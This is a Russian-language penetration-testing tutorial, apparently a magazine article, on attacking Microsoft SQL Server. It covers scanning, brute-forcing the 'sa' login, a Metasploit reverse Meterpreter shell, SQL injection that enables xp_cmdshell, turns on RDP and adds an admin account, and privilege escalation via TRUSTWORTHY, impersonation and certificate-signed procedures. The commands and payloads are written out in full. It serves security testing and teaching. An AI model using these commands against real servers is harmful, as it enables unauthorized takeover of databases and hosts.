Проверяем MS SQL на прочность. Векторы атак на MS SQL Server

от автора

image

Практически ни один серьезный пентест не обходится без проверки СУБД, ведь это одна из самых популярных у злоумышленников дверей к желаемой информации и машине. В крупных проектах в качестве СУБД очень часто используется MS SQL Server. И о проверке именно его безопасности мы сегодня и поговорим. Открывать Америку не будем — опытные камрады лишь освежат свои знания, а вот для тех, кто только начинает осваивать тему, я постарался максимально подробно разложить все по пунктам.

Введение

Один из самых важных критериев надежности информационной системы — безопасность СУБД. Атаки, направленные на нее, в большинстве случаев критические, потому что могут частично либо полностью нарушить работоспособность системы. Поскольку крупные организации формировали свою инфраструктуру давным-давно и обновление на новые версии ПО вызывает у них «большие» проблемы, самыми распространенными версиями до сих пор остаются MS SQL Server 2005 и MS SQL Server 2008. Но это всего лишь статистика, и далее мы будем рассматривать общие для всех версий векторы и техники. Для удобства условно разобьем весь процесс пентеста на несколько этапов.

Как найти MS SQL

Первое, что начинает делать пентестер, — это собирать информацию о сервисах, расположенных на сервере жертвы. Самое главное, что нужно знать для поиска Microsoft SQL Server, — номера портов, которые он слушает. А слушает он порты 1433 (TCP) и 1434 (UDP). Чтобы проверить, имеется ли MS SQL на сервере жертвы, необходимо его просканировать. Для этого можно использовать Nmap cо скриптом `ms-sql-info`. Запускаться сканирование будет примерно так:

nmap -p 1433 --script=ms-sql-info 192.168.18.128 

Ну а результат его выполнения представлен на рис. 1.


Рис. 1.Сканирование MS SQL при помощи Nmap

Помимо Nmap, есть отличный сканирующий модуль для Метасплоита `mssql_ping`, позволяющий также определять наличие MS SQL на атакуемом сервере:

msf> use auxilary/scanner/mssql/mssql_ping msf auxilary(mssql_ping) > set RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary(mssql_ping) > run 


Рис. 2. Сканирование MS SQL при помощи mssql_ping

Используя один из данных вариантов, можно быстренько определить, установлен ли на сервере MS SQL, а также узнать его версию. После чего можно переходить к следующему этапу.

Brute force

Допустим, СУБД на сервере мы обнаружили. Теперь стоит задача получить к ней доступ. И тут нас встречает первое препятствие в виде аутентификации. Вообще, MS SQL поддерживает два вида аутентификации:

  1. Windows Authentication — доверительное соединение, при котором SQL Server принимает учетную запись пользователя, предполагая, что она уже проверена на уровне операционной системы.
  2. Смешанный режим — аутентификация средствами SQL Server + Windows Authentication.

По умолчанию используется первый режим аутентификации, а смешанный режим активируется отдельно. На практике же довольно трудно встретить базу без смешанного режима — он более гибок.

Некоторые плюсы смешанного режима

  • Позволяет SQL Server поддерживать более старые приложения, а также поставляемые сторонними производителями приложения, для которых необходима проверка подлинности SQL Server.
  • Позволяет SQL Server поддерживать среды с несколькими операционными системами, в которых пользователи не проходят проверку подлинности домена Windows.
  • Позволяет разработчикам программного обеспечения распространять свои приложения с помощью сложной иерархии разрешений, основанной на известных, заранее установленных именах входа SQL Server.

Обычно на данном этапе мы не имеем доступа в корпоративную сеть, тем самым использовать аутентификацию посредством Windows не можем. Но мы нашли открытый порт с MS SQL, значит, пробуем побрутить админскую учетку `sa`, стандартную для смешанного режима. Для автоматизации процесса используем модуль Метасплоита `mssql_login`:

msf > use auxiliary/scanner/mssql/mssql_login  msf auxiliary(mssql_login) > set RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf auxiliary(mssql_login) > set PASS_FILE /root/Desktop/pass.txt [*] 172.16.2.104:1433 - MSSQL - Starting authentication scanner. [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:admin (Incorrect: ) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:qwerty (Incorrect: ) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:toor (Incorrect: ) [+] 172.16.2.104:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:root [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 

Отлично! Пароль найден, теперь можем переходить к следующему этапу. Но что, если учетки `sa` на сервере не окажется? Тогда придется брутить и логин, для чего необходимо будет указать скрипту еще один файл, откуда их брать:

msf auxiliary(mssql_login) > set USER_FILE /root/Desktop/user.txt 

WWW

Большое разнообразие словарей для брутфорса можно найти здесь.

Получение shell’а

В случае если у нас получилось сбрутить учетку `sa`, мы можем залогиниться в БД. Далее сценарий прост — включаем хранимую процедуру, позволяющую выполнять команды на уровне операционной системы, и заливаем на сервер Meterpreter shell. Крутые ребята написали для Метасплоита отличный модуль `mssql_payload`, который автоматизирует этот процесс:

msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set RHOST 172.16.2.104 msf exploit(mssql_payload) > set USERNAME sa USERNAME => sa msf exploit(mssql_payload) > set PASSWORD root PASSWORD => root msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > set LHOST 172.16.2.105 LHOST => 172.16.2.105 [*] Command Stager progress - 100.00% done (102246/102246 bytes) [*] Meterpreter session 1 opened (172.16.2.105:4444 -> 172.16.2.104:3987) at 2015-02-20 10:42:52 -0500  meterpreter >  

Сессия Meterpreter’a создана, теперь ты имеешь полный доступ. Можешь дампить хеш админа, делать скриншоты, создавать/удалять файлы, включать/выключать мышь или клавиатуру и многое другое. Пожалуй, это самый популярный шелл, который используется при тестах на проникновение. Полный список команд Meterpreter’a можно подсмотреть здесь.

Что делать, если логин/пароль не сбрутился?

Но не обольщайся, не так часто модуль `mssql_login` будет тебя радовать: пароль админы очень редко оставляют дефолтным. В таком случае получить шелл нам поможет SQL-инъекция. Представь себе HTML-форму, в которую пользователь вводит номер статьи, и простой уязвимый запрос к БД, причем все это работает под админской учеткой `sa`:

$strSQL = “SELECT * FROM [dbo].[articles] WHERE id=$id”; 

Переменная `$id` никак не фильтруется, значит, можно провести SQL-инъекцию, в которой любой запрос будет выполнен из-под админской учетки `sa`. Для того чтобы выполнять команды на уровне операционной системы, необходимо активировать хранимую процедуру `xp_cmdshell`, которая по умолчанию выключена. Нам потребуется отправить четыре запроса для ее активации:

  1. `10; EXEC sp_configure ‘show advanced options’,1;`
  2. `10; reconfigure;`
  3. `10; ‘exec sp_configure ‘xp_cmdshell’,1;`
  4. `10; reconfigure`

Системная хранимая процедура `sp_configure` позволяет просматривать, документировать, изменять и восстанавливать конфигурацию сервера. Наиболее простой способ получить доступ к серверу — включить RDP через реестр, создать пользователя с админскими правами и подключиться.

Включаем RDP:

10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 

Создаем пользователя:

10; exec master.dbo.xp_cmdshell 'net user root toor /ADD' 

Даем права:

10;exec master.dbo.xp_cmdshell 'net localgroup administrators root/add' 

Повышение привилегий. TRUSTWORTHY

В предыдущем случае запрос к базе происходил от имени админа, и поэтому было так просто исполнять команды операционной системы. Но что делать, если мы имеем урезанную учетку, у которой не будет прав включить `xp_cmdshell`? В этом случае нам помогут хранимые процедуры и активированное свойство `TRUSTWORTHY` у базы.

Но начнем с самого начала. Для большей наглядности этого вектора опишу весь этап еще на стадии конфигурации базы и учетных записей. Создаем новую базу `YOLO`: `CREATE DATABASE YOLO;`. Создаем нового пользователя `bob` с паролем `marley`: `CREATE LOGIN bob WITH PASSWORD = ‘marley’;` Назначаем пользователя `bob` владельцем базы `YOLO`:

USE YOLO ALTER LOGIN [bob] with default_database = [YOLO]; CREATE USER [bob] FROM LOGIN [bob]; EXEC sp_addrolemember [db_owner], [bob]; 

Затем устанавливаем свойство `TRUSTWORTHY`, которое определяет, разрешать ли объектам данной базы (представлениям, пользовательским функциям, хранимым процедурам) обращаться к объектам за пределами данной базы в режиме имперсонации: `ALTER DATABASE YOLO SET TRUSTWORTHY ON`. Логинимся в SQL Server под учеткой `bob:marley`.
Создаем хранимую процедуру для присвоения учетной записи bob привилегий sysadmin:

USE YOLO GO CREATE PROCEDURE sp_lvlup WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'bob','sysadmin' GO 

Убедимся, что до исполнения хранимой процедуры мы не имеем привилегий sysadmin:

SELECT is_srvrolemember('sysadmin') результат = 0 

Выполним созданную выше хранимую процедуру `sp_lvlup`:

USE YOLO EXEC sp_lvlup 

И опять проверим наши привилегии:

SELECT is_srvrolemember('sysadmin') результат = 1 

Процедура `sp_lvlup` создана для запуска от имени `OWNER`, что в данном случае является админской учетной записью `sa`. Это возможно, потому что `db_owner` создал хранимую процедуру для своей базы, а эта база сконфигурирована как надежная, то есть свойство `TRUSTWORTHY = On`. Без этого свойства не удалось бы исполнить процедуру из-за нехватки привилегий. Активированное свойство TRUSTWORTHY — это не всегда плохо. Проблемы начинаются, когда администраторы не понижают привилегии владельцам баз. В итоге учетной записи `bob` после исполнения процедуры `sp_lvlup` присвоены привилегии `sysadmin`. Чтобы посмотреть, у каких баз активировано свойство `TRUSTWORTHY`, можно воспользоваться следующим запросом:

SELECT name, database_id, is_trustworthy_on FROM sys.databases 

Или для автоматизации всего процесса можно использовать модуль для Метасплоита `mssql_escalate_dbowner_sqli`:

use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=[SQLi];-- exploit ... [+] 172.16.2.104:80 - Success! Bob is now a sysadmin! 

Повышение привилегий. User Impersonation

Следующий вектор имеет название User Impersonation. Иногда хранимым процедурам необходим доступ к внешним ресурсам, находящимся за пределами базы приложения. Чтобы это реализовать, разработчики используют привилегии `IMPERSONATE` и функцию `EXECUTE AS`, позволяющие выполнить запрос от имени другой учетной записи. Это не уязвимость как таковая, а скорее слабая конфигурация, приводящая к эскалации привилегий.

Как и в предыдущем примере, начнем разбирать суть вектора еще на стадии конфигурации. Первым делом создаем четыре учетные записи:

CREATE LOGIN User1 WITH PASSWORD = 'secret'; CREATE LOGIN User2 WITH PASSWORD = 'secret'; CREATE LOGIN User3 WITH PASSWORD = 'secret'; CREATE LOGIN User4 WITH PASSWORD = 'secret'; 

Затем даем пользователю `User1` привилегии исполнять запросы от имени `sa`, `User2`, `User3`:

USE master; GRANT IMPERSONATE ON LOGIN::sa to [MyUser1]; GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1]; GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1]; GO 

Логинимся в SQL Server под учетной записью `User1` и проверяем, применились ли привилегии исполнять запросы от других учетных записей.

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' 

Теперь проверим текущие привилегии:

SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') Результат = 0 

Ну а сейчас собственно сам трюк — выполним запрос от имени `sa`, так как выше мы дали привилегии учетной записи `User1` выполнять запросы от имени `sa`:

EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') Результат = 1 

Все в порядке, теперь можем выполнять команды от имени `sa`, а значит, можно включить хранимую процедуру `xp_cmdshell`:

EXEC sp_configure 'show advanced options',1 RECONFIGURE GO EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE GO 

INFO

Учетная запись `sysadmin` по умолчанию может выполнять запросы от имени любых других пользователей. Вывести таблицу со всеми пользователями тебе поможет запрос: `SELECT * FROM master.sys.sysusers WHERE islogin = 1`. Для выполнения запроса от имени другой учетной записи используй `EXECUTE AS LOGIN = ‘AnyUser’`. Чтобы вернуться снова к предыдущей учетной записи, достаточно выполнить запрос `REVERT`.

Вот и весь фокус. Для автоматизации, как обычно, можно воспользоваться модулем Метасплоита `mssql_escalete_executeas_sqli`:

use auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=[SQLi];-- exploit ... [+] 172.16.2.104:80 - Success! User1 is now a sysadmin! 

Повышение привилегий. Хранимые процедуры, подписанные сертификатом

Для описания данного вектора создадим уязвимую хранимую процедуру, подписанную сертификатом. В отличие от предыдущих примеров, для эскалации привилегий необязательны:

  • свойство `TRUSTWORTHY = On`;
  • привилегии `IMPERSONATE` и функция `EXECUTE AS`;
  • конфигурация хранимой процедуры с классом `WITH EXECUTE AS` для ее выполнения от имени другой учетной записи.

Создадим учетную запись с минимальными правами:

CREATE LOGIN tor WITH PASSWORD = 'loki'; GO -- Set login’s default database ALTER LOGIN [tor] with default_database = [master]; GO 

Выключим свойство `TRUSTWORTHY`: `ALTER DATABASE master SET TRUSTWORTHY OFF`. И создадим простую хранимую процедуру `sp_xxx`, которая будет выводить столбец `name` из базы `tempdb`, а также из базы, которую ввел пользователь:

USE MASTER; GO CREATE PROCEDURE sp_xxx @DbName varchar(max) AS     BEGIN Declare @query as varchar(max) SET @query = 'SELECT name FROM master..sysdatabases where name like ''%'+ @DbName+'%'' OR name=''tempdb'''; EXECUTE(@query) END GO 

После этого создадим ключ шифрования для базы `MASTER`:

CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'secret'; GO 

И сертификат:

CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = 'To sign the sp_xxx', EXPIRY_DATE = '2035-01-01'; GO 

Следующим шагом создаем логин из сертификата `sp_xxx`:

CREATE LOGIN sp_xxx_login FROM CERTIFICATE sp_xxx_cert 

И подпишем процедуру созданным сертификатом:

ADD SIGNATURE to sp_xxx BY CERTIFICATE sp_xxx_cert; GO 

Присвоим логину `sp_lvlup2` привилегии `sysadmin`:

EXEC master..sp_addsrvrolemember @loginame = N'sp_xxx_login', @rolename = N'sysadmin' GO 

Даем привилегии членам группы PUBLIC исполнять процедуру:

GRANT EXECUTE ON sp_xxx to PUBLIC 

В итоге мы создали пользователя `tor` с минимальными правами, хранимую процедуру `sp_xxx`, которая выводит имя введенной базы, создали сертификат `sp_xxx_cert` и подписали им хранимую процедуру, а также создали логин `sp_xxx_login` из сертификата и дали ему привилегии `sysadmin`. На этом подготовительная часть закончена. Логинимся учетной записью `tor` и вызываем хранимую процедуру:

EXEC MASTER.dbo.sp_xxx 'master' 

Как и положено, она вернет нам имя указанной нами БД — `master` и `tempdb` (см. рис. 3).


Рис. 3. Результат выполнения запроса EXEC MASTER.dbo.sp_xxx ‘master’

Запрос вида `EXEC MASTER.dbo.sp_sqli2 ‘master»—‘` вернет уже только `master` (см. рис. 4).


Рис .4. Результат выполнения запроса EXEC MASTER.dbo.xxx ‘master»—‘

Отлично. Это означает, что хранимая процедура подвержена SQL-инъекции. Проверим наши привилегии с помощью следующего запроса:

EXEC MASTER.dbo.sp_xxx 'master'';SELECT is_srvrolemember(''sysadmin'')as priv_certsp--'; 


Рис. 5. Проверяем наши привилегии через уязвимую хранимую процедуру

`priv_cersp=1`(см. рис. 5) означает, что мы имеем привилегии sysadmin. Выполнить команду `EXEC master..xp_cmdshell ‘whoami’;` не получится, потому что у учетной записи `tor` минимальные права, но если этот запрос внедрить в SQL-инъекцию, то все сработает (рис. 6).


Рис.6. Проверяем свои привилегии в системе

Что самое интересное, такой трюк будет работать в версиях 2005–2014.

Заключение

Разница во всех этих векторах весьма существенна. В некоторых случаях для достижения цели можно ограничиться включенным свойством `TRUSTWORTHY`, позволяющим использовать ресурсы данной базы объектам, находящимся вне, для того чтобы создать и исполнить хранимую процедуру, повышающую привилегии. Где-то можно выполнять хранимые процедуры от имени других учетных записей благодаря наличию привилегий `IMPERSONATE` и функции `EXECUTE AS`, а в третьих случаях важно лишь наличие SQL-инъекции, через которую можно внедрить запрос, и он будет исполнен от имени другой учетной записи. Для полного понимания нюансов и тонкостей я бы советовал проверить эти векторы на своей локальной машине.

В статье не дано исчерпывающее изложение всех векторов атак на СУБД MS SQL, но для поверхностного анализа защищенности она будет весьма полезна. Также рекомендую ознакомиться с другим вектором взлома через DB link’и, который описал Алексей Тюрин в декабрьском номере ][ (#191) в разделе Easy Hack. На этом все, благодарю за внимание и до новых встреч.

image

Впервые опубликовано в журнале «Хакер» от 04/2015.
Автор: Никита «ir0n» Келесис, Digital Security (@nkelesis, nikita.elkey@gmail.com)

Подпишись на «Хакер»

ссылка на оригинал статьи http://habrahabr.ru/post/256667/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *